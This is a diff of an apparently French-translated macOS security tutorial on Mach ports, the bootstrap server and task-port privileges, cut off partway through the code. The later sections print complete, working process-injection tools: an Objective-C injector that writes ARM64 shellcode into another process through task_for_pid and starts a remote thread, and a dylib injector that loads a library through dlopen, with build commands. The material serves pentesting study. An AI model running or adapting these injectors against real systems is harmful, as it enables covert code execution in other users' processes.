un port mach, mais à tout moment, **un seul processus peut lire** à partir de celui-ci. +### Énumérer les ports ```bash lsmp -p ``` +Vous pouvez installer cet outil sur iOS en le téléchargeant depuis [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) -You can install this tool in iOS downloading it from [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) +### Exemple de code -### Code example - -Note how the **sender** **allocates** a port, create a **send right** for the name `org.darlinghq.example` and send it to the **bootstrap server** while the sender asked for the **send right** of that name and used it to **send a message**. +Notez comment le **sender** **alloue** un port, crée un **send right** pour le nom `org.darlinghq.example` et l'envoie au **bootstrap server** pendant que le sender demande le **send right** de ce nom et l'utilise pour **envoyer un message**. {{#tabs}} {{#tab name="receiver.c"}} - ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc receiver.c -o receiver @@ -118,66 +113,64 @@ Note how the **sender** **allocates** a port, create a **send right** for the na int main() { - // Create a new port. - mach_port_t port; - kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); - if (kr != KERN_SUCCESS) { - printf("mach_port_allocate() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_allocate() created port right name %d\n", port); +// Create a new port. +mach_port_t port; +kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +if (kr != KERN_SUCCESS) { +printf("mach_port_allocate() failed with code 0x%x\n", kr); +return 1; +} +printf("mach_port_allocate() created port right name %d\n", port); - // Give us a send right to this port, in addition to the receive right. - kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); - if (kr != KERN_SUCCESS) { - printf("mach_port_insert_right() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_insert_right() inserted a send right\n"); +// Give us a send right to this port, in addition to the receive right. +kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); +if (kr != KERN_SUCCESS) { +printf("mach_port_insert_right() failed with code 0x%x\n", kr); +return 1; +} +printf("mach_port_insert_right() inserted a send right\n"); - // Send the send right to the bootstrap server, so that it can be looked up by other processes. - kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_register() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_register()'ed our port\n"); +// Send the send right to the bootstrap server, so that it can be looked up by other processes. +kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); +if (kr != KERN_SUCCESS) { +printf("bootstrap_register() failed with code 0x%x\n", kr); +return 1; +} +printf("bootstrap_register()'ed our port\n"); - // Wait for a message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - mach_msg_trailer_t trailer; - } message; +// Wait for a message. +struct { +mach_msg_header_t header; +char some_text[10]; +int some_number; +mach_msg_trailer_t trailer; +} message; - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_RCV_MSG, // Options. We're receiving a message. - 0, // Size of the message being sent, if sending. - sizeof(message), // Size of the buffer for receiving. - port, // The port to receive a message on. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Got a message\n"); +kr = mach_msg( +&message.header, // Same as (mach_msg_header_t *) &message. +MACH_RCV_MSG, // Options. We're receiving a message. +0, // Size of the message being sent, if sending. +sizeof(message), // Size of the buffer for receiving. +port, // The port to receive a message on. +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL // Port for the kernel to send notifications about this message to. +); +if (kr != KERN_SUCCESS) { +printf("mach_msg() failed with code 0x%x\n", kr); +return 1; +} +printf("Got a message\n"); - message.some_text[9] = 0; - printf("Text: %s, number: %d\n", message.some_text, message.some_number); +message.some_text[9] = 0; +printf("Text: %s, number: %d\n", message.some_text, message.some_number); } ``` - {{#endtab}} {{#tab name="sender.c"}} - ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc sender.c -o sender @@ -188,67 +181,66 @@ int main() { int main() { - // Lookup the receiver port using the bootstrap server. - mach_port_t port; - kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_look_up() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_look_up() returned port right name %d\n", port); +// Lookup the receiver port using the bootstrap server. +mach_port_t port; +kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); +if (kr != KERN_SUCCESS) { +printf("bootstrap_look_up() failed with code 0x%x\n", kr); +return 1; +} +printf("bootstrap_look_up() returned port right name %d\n", port); - // Construct our message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - } message; +// Construct our message. +struct { +mach_msg_header_t header; +char some_text[10]; +int some_number; +} message; - message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); - message.header.msgh_remote_port = port; - message.header.msgh_local_port = MACH_PORT_NULL; +message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); +message.header.msgh_remote_port = port; +message.header.msgh_local_port = MACH_PORT_NULL; - strncpy(message.some_text, "Hello", sizeof(message.some_text)); - message.some_number = 35; +strncpy(message.some_text, "Hello", sizeof(message.some_text)); +message.some_number = 35; - // Send the message. - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_SEND_MSG, // Options. We're sending a message. - sizeof(message), // Size of the message being sent. - 0, // Size of the buffer for receiving. - MACH_PORT_NULL, // A port to receive a message on, if receiving. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Sent a message\n"); +// Send the message. +kr = mach_msg( +&message.header, // Same as (mach_msg_header_t *) &message. +MACH_SEND_MSG, // Options. We're sending a message. +sizeof(message), // Size of the message being sent. +0, // Size of the buffer for receiving. +MACH_PORT_NULL, // A port to receive a message on, if receiving. +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL // Port for the kernel to send notifications about this message to. +); +if (kr != KERN_SUCCESS) { +printf("mach_msg() failed with code 0x%x\n", kr); +return 1; +} +printf("Sent a message\n"); } ``` - {{#endtab}} {{#endtabs}} -### Privileged Ports +### Ports privilégiés -- **Host port**: If a process has **Send** privilege over this port he can get **information** about the **system** (e.g. `host_processor_info`). -- **Host priv port**: A process with **Send** right over this port can perform **privileged actions** like loading a kernel extension. The **process need to be root** to get this permission. - - Moreover, in order to call **`kext_request`** API it's needed to have other entitlements **`com.apple.private.kext*`** which are only given to Apple binaries. -- **Task name port:** An unprivileged version of the _task port_. It references the task, but does not allow controlling it. The only thing that seems to be available through it is `task_info()`. -- **Task port** (aka kernel port)**:** With Send permission over this port it's possible to control the task (read/write memory, create threads...). - - Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`in a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) while doing a `fork()`. - - These are the restrictions to access the port (from `macos_task_policy` from the binary `AppleMobileFileIntegrity`): - - If the app has **`com.apple.security.get-task-allow` entitlement** processes from the **same user can access the task port** (commonly added by Xcode for debugging). The **notarization** process won't allow it to production releases. - - Apps with the **`com.apple.system-task-ports`** entitlement can get the **task port for any** process, except the kernel. In older versions it was called **`task_for_pid-allow`**. This is only granted to Apple applications. - - **Root can access task ports** of applications **not** compiled with a **hardened** runtime (and not from Apple). +- **Port hôte** : Si un processus a le privilège **Send** sur ce port, il peut obtenir des **informations** sur le **système** (par exemple, `host_processor_info`). +- **Port de privilège hôte** : Un processus avec le droit **Send** sur ce port peut effectuer des **actions privilégiées** comme charger une extension de noyau. Le **processus doit être root** pour obtenir cette permission. +- De plus, pour appeler l'API **`kext_request`**, il est nécessaire d'avoir d'autres droits **`com.apple.private.kext*`** qui ne sont accordés qu'aux binaires Apple. +- **Port de nom de tâche** : Une version non privilégiée du _port de tâche_. Il référence la tâche, mais ne permet pas de la contrôler. La seule chose qui semble être disponible à travers lui est `task_info()`. +- **Port de tâche** (également appelé port de noyau) : Avec la permission Send sur ce port, il est possible de contrôler la tâche (lire/écrire en mémoire, créer des threads...). +- Appelez `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port est uniquement **hérité** lors de **`exec()`** ; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas particulier, une tâche obtient également un nouveau port de tâche après `exec()` dans un binaire suid). La seule façon de créer une tâche et d'obtenir son port est d'effectuer la ["danse d'échange de port"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) tout en effectuant un `fork()`. +- Voici les restrictions pour accéder au port (à partir de `macos_task_policy` du binaire `AppleMobileFileIntegrity`) : +- Si l'application a le droit **`com.apple.security.get-task-allow`**, les processus du **même utilisateur peuvent accéder au port de tâche** (généralement ajouté par Xcode pour le débogage). Le processus de **notarisation** ne le permettra pas pour les versions de production. +- Les applications avec le droit **`com.apple.system-task-ports`** peuvent obtenir le **port de tâche pour n'importe quel** processus, sauf le noyau. Dans les versions plus anciennes, cela s'appelait **`task_for_pid-allow`**. Cela n'est accordé qu'aux applications Apple. +- **Root peut accéder aux ports de tâche** des applications **non** compilées avec un runtime **durci** (et pas d'Apple). -### Shellcode Injection in thread via Task port +### Injection de shellcode dans le thread via le port de tâche -You can grab a shellcode from: +Vous pouvez récupérer un shellcode à partir de : {{#ref}} ../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -256,7 +248,6 @@ You can grab a shellcode from: {{#tabs}} {{#tab name="mysleep.m"}} - ```objectivec // clang -framework Foundation mysleep.m -o mysleep // codesign --entitlements entitlements.plist -s - mysleep @@ -264,52 +255,48 @@ You can grab a shellcode from: #import double performMathOperations() { - double result = 0; - for (int i = 0; i < 10000; i++) { - result += sqrt(i) * tan(i) - cos(i); - } - return result; +double result = 0; +for (int i = 0; i < 10000; i++) { +result += sqrt(i) * tan(i) - cos(i); +} +return result; } int main(int argc, const char * argv[]) { - @autoreleasepool { - NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] +@autoreleasepool { +NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]); - while (true) { - [NSThread sleepForTimeInterval:5]; +while (true) { +[NSThread sleepForTimeInterval:5]; - performMathOperations(); // Silent action +performMathOperations(); // Silent action - [NSThread sleepForTimeInterval:5]; - } - } - return 0; +[NSThread sleepForTimeInterval:5]; +} +} +return 0; } ``` - {{#endtab}} {{#tab name="entitlements.plist"}} - ```xml - com.apple.security.get-task-allow - +com.apple.security.get-task-allow + ``` - {{#endtab}} {{#endtabs}} -**Compile** the previous program and add the **entitlements** to be able to inject code with the same user (if not you will need to use **sudo**). +**Compilez** le programme précédent et ajoutez les **entitlements** pour pouvoir injecter du code avec le même utilisateur (sinon, vous devrez utiliser **sudo**).
sc_injector.m - ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector @@ -323,18 +310,18 @@ processIdentifier]); kern_return_t mach_vm_allocate ( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags +vm_map_t target, +mach_vm_address_t *address, +mach_vm_size_t size, +int flags ); kern_return_t mach_vm_write ( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt +vm_map_t target_task, +mach_vm_address_t address, +vm_offset_t data, +mach_msg_type_number_t dataCnt ); @@ -352,177 +339,174 @@ char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\ int inject(pid_t pid){ - task_t remoteTask; +task_t remoteTask; - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } +// Get access to the task port of the process we want to inject into +kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); +if (kr != KERN_SUCCESS) { +fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); +return (-1); +} +else{ +printf("Gathered privileges over the task port of process: %d\n", pid); +} - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); +// Allocate memory for the stack +mach_vm_address_t remoteStack64 = (vm_address_t) NULL; +mach_vm_address_t remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} +else +{ - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } +fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); +} - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); +// Allocate memory for the code +remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source +// Write the shellcode to the allocated memory +kr = mach_vm_write(remoteTask, // Task port +remoteCode64, // Virtual Address (Destination) +(vm_address_t) injectedCode, // Source +0xa9); // Length of the source - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); +return (-3); +} - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); +// Set the permissions on the allocated code memory +kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); +// Set the permissions on the allocated stack memory +kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; +// Create thread to run shellcode +struct arm_unified_thread_state remoteThreadState64; +thread_act_t remoteThread; - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); +memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 +remoteStack64 += (STACK_SIZE / 2); // this is the real stack +//remoteStack64 -= 8; // need alignment of 16 - const char* p = (const char*) remoteCode64; +const char* p = (const char*) remoteCode64; - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; +remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; +remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; +remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; +remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); +printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); +kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, +(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } +if (kr != KERN_SUCCESS) { +fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); +return (-3); +} - return (0); +return (0); } pid_t pidForProcessName(NSString *processName) { - NSArray *arguments = @[@"pgrep", processName]; - NSTask *task = [[NSTask alloc] init]; - [task setLaunchPath:@"/usr/bin/env"]; - [task setArguments:arguments]; +NSArray *arguments = @[@"pgrep", processName]; +NSTask *task = [[NSTask alloc] init]; +[task setLaunchPath:@"/usr/bin/env"]; +[task setArguments:arguments]; - NSPipe *pipe = [NSPipe pipe]; - [task setStandardOutput:pipe]; +NSPipe *pipe = [NSPipe pipe]; +[task setStandardOutput:pipe]; - NSFileHandle *file = [pipe fileHandleForReading]; +NSFileHandle *file = [pipe fileHandleForReading]; - [task launch]; +[task launch]; - NSData *data = [file readDataToEndOfFile]; - NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; +NSData *data = [file readDataToEndOfFile]; +NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; - return (pid_t)[string integerValue]; +return (pid_t)[string integerValue]; } BOOL isStringNumeric(NSString *str) { - NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; - NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; - return r.location == NSNotFound; +NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; +NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; +return r.location == NSNotFound; } int main(int argc, const char * argv[]) { - @autoreleasepool { - if (argc < 2) { - NSLog(@"Usage: %s ", argv[0]); - return 1; - } +@autoreleasepool { +if (argc < 2) { +NSLog(@"Usage: %s ", argv[0]); +return 1; +} - NSString *arg = [NSString stringWithUTF8String:argv[1]]; - pid_t pid; +NSString *arg = [NSString stringWithUTF8String:argv[1]]; +pid_t pid; - if (isStringNumeric(arg)) { - pid = [arg intValue]; - } else { - pid = pidForProcessName(arg); - if (pid == 0) { - NSLog(@"Error: Process named '%@' not found.", arg); - return 1; - } - else{ - printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); - } - } +if (isStringNumeric(arg)) { +pid = [arg intValue]; +} else { +pid = pidForProcessName(arg); +if (pid == 0) { +NSLog(@"Error: Process named '%@' not found.", arg); +return 1; +} +else{ +printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); +} +} - inject(pid); - } +inject(pid); +} - return 0; +return 0; } ``` -
- ```bash gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` +### Injection de Dylib dans un thread via le port de tâche -### Dylib Injection in thread via Task port +Dans macOS, les **threads** peuvent être manipulés via **Mach** ou en utilisant l'**api posix `pthread`**. Le thread que nous avons généré dans l'injection précédente a été généré en utilisant l'api Mach, donc **il n'est pas conforme à posix**. -In macOS **threads** might be manipulated via **Mach** or using **posix `pthread` api**. The thread we generated in the previous injection, was generated using Mach api, so **it's not posix compliant**. +Il a été possible d'**injecter un simple shellcode** pour exécuter une commande car il **n'avait pas besoin de fonctionner avec des apis** conformes à posix, seulement avec Mach. **Des injections plus complexes** nécessiteraient que le **thread** soit également **conforme à posix**. -It was possible to **inject a simple shellcode** to execute a command because it **didn't need to work with posix** compliant apis, only with Mach. **More complex injections** would need the **thread** to be also **posix compliant**. +Par conséquent, pour **améliorer le thread**, il devrait appeler **`pthread_create_from_mach_thread`** qui va **créer un pthread valide**. Ensuite, ce nouveau pthread pourrait **appeler dlopen** pour **charger une dylib** depuis le système, donc au lieu d'écrire un nouveau shellcode pour effectuer différentes actions, il est possible de charger des bibliothèques personnalisées. -Therefore, to **improve the thread** it should call **`pthread_create_from_mach_thread`** which will **create a valid pthread**. Then, this new pthread could **call dlopen** to **load a dylib** from the system, so instead of writing new shellcode to perform different actions it's possible to load custom libraries. - -You can find **example dylibs** in (for example the one that generates a log and then you can listen to it): +Vous pouvez trouver des **dylibs d'exemple** dans (par exemple celle qui génère un log et ensuite vous pouvez l'écouter) : {{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -531,7 +515,6 @@ You can find **example dylibs** in (for example the one that generates a log and
dylib_injector.m - ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c @@ -557,18 +540,18 @@ You can find **example dylibs** in (for example the one that generates a log and // And I say, bullshit. kern_return_t mach_vm_allocate ( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags +vm_map_t target, +mach_vm_address_t *address, +mach_vm_size_t size, +int flags ); kern_return_t mach_vm_write ( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt +vm_map_t target_task, +mach_vm_address_t address, +vm_offset_t data, +mach_msg_type_number_t dataCnt ); @@ -583,236 +566,233 @@ kern_return_t mach_vm_write char injectedCode[] = - // "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) +// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) - // Call pthread_set_self +// Call pthread_set_self - "\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables - "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack - "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer - "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the - "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; - "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start - "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; - "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) - "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread - "\x00\x00\x00\x14" // loop: b loop ; loop forever +"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables +"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack +"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer +"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the +"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct +"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; +"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start +"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; +"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) +"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread +"\x00\x00\x00\x14" // loop: b loop ; loop forever - // Call dlopen with the path to the library - "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; - "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; - "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop - "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() +// Call dlopen with the path to the library +"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; +"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN +"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; +"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop +"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() - // Call pthread_exit - "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT - "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; - "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit +// Call pthread_exit +"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT +"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; +"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit - "PTHRDCRT" // <- - "PTHRDEXT" // <- - "DLOPEN__" // <- - "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; +"PTHRDCRT" // <- +"PTHRDEXT" // <- +"DLOPEN__" // <- +"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; int inject(pid_t pid, const char *lib) { - task_t remoteTask; - struct stat buf; +task_t remoteTask; +struct stat buf; - // Check if the library exists - int rc = stat (lib, &buf); +// Check if the library exists +int rc = stat (lib, &buf); - if (rc != 0) - { - fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); - //return (-9); - } +if (rc != 0) +{ +fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); +//return (-9); +} - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } +// Get access to the task port of the process we want to inject into +kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); +if (kr != KERN_SUCCESS) { +fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); +return (-1); +} +else{ +printf("Gathered privileges over the task port of process: %d\n", pid); +} - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); +// Allocate memory for the stack +mach_vm_address_t remoteStack64 = (vm_address_t) NULL; +mach_vm_address_t remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} +else +{ - fprintf (stderr, "Allocated remote stack @0x%llx\n", 